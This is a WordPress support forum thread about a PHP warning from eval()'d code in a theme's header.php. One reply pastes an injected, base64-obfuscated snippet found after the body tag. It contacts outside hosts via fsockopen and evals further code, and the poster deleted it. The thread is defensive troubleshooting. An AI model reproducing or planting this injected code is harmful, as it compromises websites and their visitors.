• Help. I have this warning at the top of my header

    Warning: fclose(): supplied argument is not a valid stream resource in /home1/budgetdi/public_html/wp-content/themes/digg-3-col/header.php(60) : eval()’d code on line 1

    How do I get rid of it??

Viewing 6 replies - 1 through 6 (of 6 total)
  • Check what is in your theme’s header.php file.

    Thread Starter tforre7777

    (@tforre7777)

    Can I copy and post it here?

    Not sure what I am supposed to be looking for.

    Use the WordPress pastebin. It will make the code easier to read.

    Hi,

    I am running into a similar message with my site (https://cybersteward.net) after having it down for unexplained reasons for over two days.

    I’ve posted it at https://wordpress.pastebin.ca/1420238 in case anyone would be kind enough to help me figure out the problem.

    I have the same message and would like it explained

    Wombo55,

    I ran into an obnoxious code snippet when I went through my header.php again. The snippet appears right after the “<body>” tag in that file. It looked like this:

    <?php eval(base64_decode('aWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMDkxNiA9IEBmc29ja29wZW4oInd3dy53cHNzci5jb20iLCA4MCwgJFIzMkQwMDA3MEQ0RkZCQ0NFMkZDNjY5QkJBODEyRDRDMiwgJFI1RjUyNUY1QjM5OERBREQ3Q0YwNzg0QkQ0MDYyOThFMywgMykpICRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3Bzc3IiOyBlbHNlaWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMDkxNiA9IEBmc29ja29wZW4oInd3dy53cHNuYy5jb20iLCA4MCwgJFIzMkQwMDA3MEQ0RkZCQ0NFMkZDNjY5QkJBODEyRDRDMiwgJFI1RjUyNUY1QjM5OERBREQ3Q0YwNzg0QkQ0MDYyOThFMywgMykpICRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3BzbmMiOyBlbHNlICRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3BzbmMyIjsgQGV2YWwoJyRSMTRBRjFCRTlFRTI2QTkwOTIxRTY0QTgyRTc4MzY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DNCRTY1NkM2NUUzRUQ5RTFCMTE1KTsgfSBmY2xvc2UoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMDkxNik7')); ?>

    It was not in the file when I originally downloaded the theme months ago, and I’m not sure why or how it got there, but once I deleted it and updated the file, the site showed no problems anymore.

    Maybe if others are having this issue, they can fix it by deleting that snippet as well.

    That said, I’d still love to know how it got there.

Viewing 6 replies - 1 through 6 (of 6 total)
  • The topic ‘Warning at the top of page’ is closed to new replies.